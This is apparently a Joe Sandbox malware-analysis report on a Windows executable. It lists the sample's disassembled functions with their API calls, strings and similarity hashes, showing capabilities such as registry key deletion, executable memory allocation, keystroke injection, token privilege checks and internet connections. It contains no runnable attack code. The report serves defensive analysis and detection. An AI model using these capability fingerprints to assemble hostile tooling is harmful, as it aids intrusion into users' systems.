String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: c83b708e8f2d444bc8d55fd60fdb734c634f1b70256575fc726b9e04ee9ea8f3
Instruction ID: 65f220ca5d591e248e3364e941475f42b7229c5ee25d9c63c7a90c186263d7de
Opcode Fuzzy Hash: c83b708e8f2d444bc8d55fd60fdb734c634f1b70256575fc726b9e04ee9ea8f3
Instruction Fuzzy Hash: 2ED08230902713CFC720AB70CC08646BAE7AF09342B01983A9882C22A0EAB0C8808A10

Function 006D0DE7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,006D1039), ref: 006D0DF5
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 006D0E07

Strings

advapi32.dll, xrefs: 006D0DF0
RegDeleteKeyExW, xrefs: 006D0E01

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: b011c19086c7912b4767ab24ad3bb7adc3b756956f65de5b78b28c2214399542
Instruction ID: 4fa01152f5f43e7052efb0252370e550586ce8b5132eb0ac6802dfd2a0e5d6c7
Opcode Fuzzy Hash: b011c19086c7912b4767ab24ad3bb7adc3b756956f65de5b78b28c2214399542
Instruction Fuzzy Hash: 6DD017B0910723CFE7209F76CC0878A77EAAF04352F159C3F9596D2291EBB4D8A0CA51

Function 006C90E0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,006C8CF4,?,006DF910), ref: 006C90EE
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 006C9100

Strings

kernel32.dll, xrefs: 006C90E9
GetModuleHandleExW, xrefs: 006C90FA

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 47d6dedc147fa9bc0f54aee34accafa1cf14414516fdba6ca84fadff5d965391
Instruction ID: 6dfb0b4fd13f43322da412fc0167995502d490035d7beff164e59cdb98b1493c
Opcode Fuzzy Hash: 47d6dedc147fa9bc0f54aee34accafa1cf14414516fdba6ca84fadff5d965391
Instruction Fuzzy Hash: 41D01774910713CFDB209F31DC1DA5676E6AF05391B1A983F9496D6A90EB74D880CAA0

Function 00691714 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00691718
__swprintf.LIBCMT ref: 00691749

Strings

%.3d, xrefs: 00691723
WIN_XPe, xrefs: 00691788

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 7fdacb3f6b976a193e300d08036f42b095d7b5fd15dd2745add2e8cd287e6586
Instruction ID: c3912404aa3b90cd2d3da349c4b769cb8060516ab12c90f6fdcc3a9f5511b717
Opcode Fuzzy Hash: 7fdacb3f6b976a193e300d08036f42b095d7b5fd15dd2745add2e8cd287e6586
Instruction Fuzzy Hash: 07D012B180511BEACF409BD098888B9737EA70A711F700553B506DA580E2258756E621

Function 006A717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d6bc68faa4a1b67db2bceff7032deffc85d17dd7dc7f001b4e0a4f5ad4a404b
Instruction ID: 52f339b77b7a2a960d59798756d76951793677371405b6a05ffba477d7dce1d7
Opcode Fuzzy Hash: 5d6bc68faa4a1b67db2bceff7032deffc85d17dd7dc7f001b4e0a4f5ad4a404b
Instruction Fuzzy Hash: D7C14875A04216EFCB14DFA4C884AAEBBF6FF49704B158598E805EB251D730EE81DF90

Function 006CE02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 006CE0BE
CharLowerBuffW.USER32(?,?), ref: 006CE101

Part of subcall function 006CD7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 006CD7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 006CE301
_memmove.LIBCMT ref: 006CE314

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: a1c1c46a274b469afd9d881bec58912772a98366b3af2ccbe028deeda0739c35
Instruction ID: f884bc48f4fc6a5fc2cc7f100b572f8f4848de5af5f6f0b13923cab944a01984
Opcode Fuzzy Hash: a1c1c46a274b469afd9d881bec58912772a98366b3af2ccbe028deeda0739c35
Instruction Fuzzy Hash: 73C14771A08301DFC754DF28C480A6ABBE6FF89714F04896EF8999B351D731EA46CB91

Function 006C8093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 006C80C3
CoUninitialize.OLE32 ref: 006C80CE

Part of subcall function 006AD56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 006AD5D4

VariantInit.OLEAUT32(?), ref: 006C80D9
VariantClear.OLEAUT32(?), ref: 006C83AA

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 5023322f7239eaa7080867a255aa63209dbc115a944171455115651d9130922b
Instruction ID: d43b6c2a4d2ccff02449165e557bf5eb3e0ee84ccb7fada68881f61ce0d27d46
Opcode Fuzzy Hash: 5023322f7239eaa7080867a255aa63209dbc115a944171455115651d9130922b
Instruction Fuzzy Hash: 73A122356047019FCB50DF64C885B6AB7E6BF89314F08481DF99A9B3A2CB34ED05CB96

Function 006A687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006A688E
SysAllocString.OLEAUT32(00000000), ref: 006A6937
VariantCopy.OLEAUT32 ref: 006A6966
VariantClear.OLEAUT32(?), ref: 006A698D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: dd1d7f8e97272fb586e21a1eabb9274fe1f43dbfde9b251aba038fb7fc8ec066
Instruction ID: a196c0c931440d442a2859822cab3b71ad9443e35f30a48e084e45475e3dd88f
Opcode Fuzzy Hash: dd1d7f8e97272fb586e21a1eabb9274fe1f43dbfde9b251aba038fb7fc8ec066
Instruction Fuzzy Hash: F951C074600302DADB64BF65C891A6AB3E7AF56310F28D81FF686DB291DB34DC818F14

Function 006C69AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 006C69D1
WSAGetLastError.WSOCK32(00000000), ref: 006C69E1

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 006C6A45
WSAGetLastError.WSOCK32(00000000), ref: 006C6A51

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 09645205fc35e2651b91e18ddb0fa974b7d5b3e963ca0acba44b408deabedd36
Instruction ID: ffffcac6d37cc7c5764fbb7f815f9c814a8cd8d6fceabc1b0a7f5c6e3c840a92
Opcode Fuzzy Hash: 09645205fc35e2651b91e18ddb0fa974b7d5b3e963ca0acba44b408deabedd36
Instruction Fuzzy Hash: F041A134640200AFEB90AF64CC86F7A77E6DF44B10F04851CFE59AF2D2DAB09D048B69

Function 006C641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,006DF910), ref: 006C64A7
_strlen.LIBCMT ref: 006C64D9

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 4c8ea13d973ac400116e6ce0dad4a8f49ac81f6d67af88f8613217ceb30d4865
Instruction ID: 914f2f3efdcf3e67adc4ceaae9cb8a817cbcea18fdfdab3a97259433c5b655cc
Opcode Fuzzy Hash: 4c8ea13d973ac400116e6ce0dad4a8f49ac81f6d67af88f8613217ceb30d4865
Instruction Fuzzy Hash: 04419371900104ABCB54EBA4DC95FBEB7ABEF04310F64815DF91A97292DB30ED05CB68

Function 006BB7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 006BB89E
GetLastError.KERNEL32(?,00000000), ref: 006BB8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 006BB8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 006BB915

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 471059b4c9069970779f013c37b302e5911500f6c551422a6685a432cac1c26a
Instruction ID: 6eb1f16eaf597592afea4681f68dc18173ec01c691911a8e58704dc6f94735f4
Opcode Fuzzy Hash: 471059b4c9069970779f013c37b302e5911500f6c551422a6685a432cac1c26a
Instruction Fuzzy Hash: 47412C35600910DFCB50EF25C484A9DBBE2EF4A310F198499EC4A9B362CB70FD45CBA5

Function 006B0AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 006B0B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 006B0B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 006B0BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 006B0BFB

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 4d4106853f30434e56ea54a4d34deec56dbeef61385ef6e930350d196ac1d84b
Instruction ID: 4132a9aa4c51dad387650cc3e8648fb75a7ff999e1965869820b9c4b61f7bbcb
Opcode Fuzzy Hash: 4d4106853f30434e56ea54a4d34deec56dbeef61385ef6e930350d196ac1d84b
Instruction Fuzzy Hash: 773146B0D40208AEFB308B658C05BFBBFABAB55318F08425AE491522E1C3768DC19765

Function 006B0C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,753DC0D0,?,00008000), ref: 006B0C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 006B0C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 006B0CE1
SendInput.USER32(00000001,?,0000001C,753DC0D0,?,00008000), ref: 006B0D33

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: f64b0b32b9fa81461e725c004354c291a5f9cd0d96e590b4ad68612ceec275cc
Instruction ID: 0e9acf1f4e13d98cf6631b0079dff78280ce68112ef6f8c1ebad8d023dd1ec40
Opcode Fuzzy Hash: f64b0b32b9fa81461e725c004354c291a5f9cd0d96e590b4ad68612ceec275cc
Instruction Fuzzy Hash: 293103B0980218AEFF308B658815BFFBFA7AF49320F08431AE485522D1D7359DC587A6

Function 006861C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 006861FB
__isleadbyte_l.LIBCMT ref: 00686229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 00686257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0068628D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 26a5407707d9bf93d3315fdaad10cbcfcfecc294af6e823cb33556f86a714e46
Instruction ID: 60979e2d74236eb76920e964207e41db35a930eba499ddaf2e61f2ba35f7de60
Opcode Fuzzy Hash: 26a5407707d9bf93d3315fdaad10cbcfcfecc294af6e823cb33556f86a714e46
Instruction Fuzzy Hash: 1231D230600256EFDF21AF68CC48BAA7BBBFF41310F154269F86497291D731DA51D750

Function 006D4EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 006D4F02

Part of subcall function 006B3641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 006B365B
Part of subcall function 006B3641: GetCurrentThreadId.KERNEL32 ref: 006B3662
Part of subcall function 006B3641: AttachThreadInput.USER32(00000000,?,006B5005), ref: 006B3669

GetCaretPos.USER32(?), ref: 006D4F13
ClientToScreen.USER32(00000000,?), ref: 006D4F4E
GetForegroundWindow.USER32 ref: 006D4F54

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: 9b0afb92838e02be9f498704bb2ae7bfcc8e408dad1c1cc69ba0f798035cff48
Instruction ID: 75fc0fc6b1f738208364f766f9f429f926d61f58d2bdc8b092e7406dd49271b9
Opcode Fuzzy Hash: 9b0afb92838e02be9f498704bb2ae7bfcc8e408dad1c1cc69ba0f798035cff48
Instruction Fuzzy Hash: 31311E71E00108AFDB40EFB5C8859EFB7FAEF98300F10446AE815E7251EA719E458BA4

Function 006A8656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006A810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 006A8121
Part of subcall function 006A810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 006A812B
Part of subcall function 006A810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 006A813A
Part of subcall function 006A810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 006A8141
Part of subcall function 006A810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 006A8157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 006A86A3
_memcmp.LIBCMT ref: 006A86C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006A86FC
HeapFree.KERNEL32(00000000), ref: 006A8703

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 3c5456a5a6650bda7af8d11d9df33fe8b663f2a655eb5ea347ae2406a5625c24
Instruction ID: 5b2578f6d6ea0bd9873488c84b2ec6fa857c5cbeb34f2f1a21705e19cf682d6a
Opcode Fuzzy Hash: 3c5456a5a6650bda7af8d11d9df33fe8b663f2a655eb5ea347ae2406a5625c24
Instruction Fuzzy Hash: C221AE31E01108EFEB00EFA4CA48BEEB7BAEF56304F148059E404AB240DB30AE05CF90

Function 0067098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 006709AE

Part of subcall function 00655A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,006B7896,?,?,00000000), ref: 00655A2C
Part of subcall function 00655A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,006B7896,?,?,00000000,?,?), ref: 00655A50

_fprintf.LIBCMT ref: 006709E5
OutputDebugStringW.KERNEL32(?), ref: 006A5DBB

Part of subcall function 00674AAA: _flsall.LIBCMT ref: 00674AC3

__setmode.LIBCMT ref: 00670A1A

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: f19407d504152f8e85659905e4fbe39eb57abd36c20a2dbf1cbacd6d8ce64612
Instruction ID: 62330f142c7e0218eeb99cf129079f96fae21d8ab5a16b15914fb06a7cc9f3f4
Opcode Fuzzy Hash: f19407d504152f8e85659905e4fbe39eb57abd36c20a2dbf1cbacd6d8ce64612
Instruction Fuzzy Hash: 53115771904208AFDB44B7B49C8A8FE77AB9F42320F14801DF10957183EF20484687A9

Function 006C1767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 006C17A3

Part of subcall function 006C182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 006C184C
Part of subcall function 006C182D: InternetCloseHandle.WININET(00000000), ref: 006C18E9

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 925d60ef2ca3373e1b41aa593ab9a259d8a28e7a3891859569933bc75be233db
Instruction ID: 9dbbff99355c30ccea4bc0b4e968f34246f4c44063a9b843b0d2df086146f05e
Opcode Fuzzy Hash: 925d60ef2ca3373e1b41aa593ab9a259d8a28e7a3891859569933bc75be233db
Instruction Fuzzy Hash: C621D131605601BFEB129F60DC00FBABBEBFF4A710F14402EFA159A652DB71D811A7A0

Function 006B3A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

